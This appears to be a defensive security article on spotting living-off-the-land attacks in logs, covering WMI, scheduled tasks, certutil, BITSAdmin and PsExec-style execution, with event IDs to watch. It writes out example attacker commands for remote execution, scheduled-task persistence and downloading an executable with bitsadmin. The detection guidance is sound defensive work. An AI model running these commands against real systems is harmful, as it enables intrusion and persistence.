Not every attack relies on PowerShell, SMB, or RDP.
There’s a long tail of tools that look harmless, or “IT-related” in logs.
That’s why they work.
WMI (Windows Management Instrumentation)
Why attackers use it:
WMI allows remote execution without interactive login.
Typical attacker usage:
wmic /node:server01 process call create "cmd.exe /c whoami"
What it looks like in logs:
1. Remote process creation
2. No RDP session
3. Commands executed “silently”
Log sources:
1. Event ID 4688 (process creation)
2. WMI-Activity logs
3. Security logs on the target host
If a user runs commands on a server without logging in, pay attention.
Scheduled Tasks as Persistence Tools
Why attackers use them:
They’re normal.
Admins use them constantly.
Example attacker action:
schtasks /create /sc hourly /tn "Updater" /tr "powershell.exe -File script.ps1"
Log indicators:
1. New scheduled tasks created unexpectedly
2. Tasks created outside change windows
3. Tasks running under unusual accounts
Event IDs:
1. 4698 (scheduled task created)
2. 4702 (task updated)
Persistence doesn’t need malware when schedules already exist.
Certutil (More Than Just Downloads)
Why attackers love it:
Signed. Trusted. Everywhere.
Common misuse:
1. Downloading payloads
2. Encoding or decoding data
certutil -encode data.txt data.b64
What shows in logs:
1. Certutil executed by non-admin users
2. Network activity following execution
3. Rare but powerful utility usage
Admins rarely encode files during daily work.
BITSAdmin / Background Transfers
Why attackers use it:
Quiet. Throttled. Looks like system traffic.
Example:
bitsadmin /transfer job http://site/file.exe C:\Temp\file.exe
Log clues:
1. Background transfers started manually
2. Network activity with no browser usage
3. Transfers outside patching windows
BITS is great for stealthy movement.
PsExec-Style Remote Execution
Even if PsExec itself isn’t present, attackers replicate the behavior.
Why it works:
1. Uses SMB
2. Executes remotely
3. Common in admin environments
Log indicators:
1. Service creation events
2. Remote process execution
3. SMB connections preceding execution
Event IDs:
1. 7045 (service installed)
2. 4688 (process creation)
If services appear briefly, then disappear, that’s not maintenance.
Living-Off-the-Land File Compression
Attackers rarely bring their own archivers.
They use what’s already there.
Examples:
1. tar
2. makecab
3. Built-in ZIP support
What to watch:
1. Large archive creation on servers
2. Compression followed by network transfer
3. Archives created by service accounts
Compression often means staging.
Cloud and API Tools
In cloud environments, attackers use:
1. CLI tools
2. APIs
3. Automation scripts
What logs show:
1. API calls instead of logins
2. Resource enumeration
3. Permission testing
This often bypasses endpoint security entirely.
Why These Tools Are Missed
1. They’re signed and trusted
2. They exist on every system
3. Alerts are disabled to reduce noise
4. Usage is rare, so baselines don’t exist
Attackers don’t break rules.
They borrow them.
Practical Detection Advice
Instead of banning tools, ask better questions:
1. Who normally uses this tool?
2. On which systems?
3. At what times?
4. For how long?
Good detection is about context, not commands.
Most hack tools don’t look like weapons.
They look like admin work done by someone who shouldn’t be doing it.
And logs already show that difference, once you know where to look.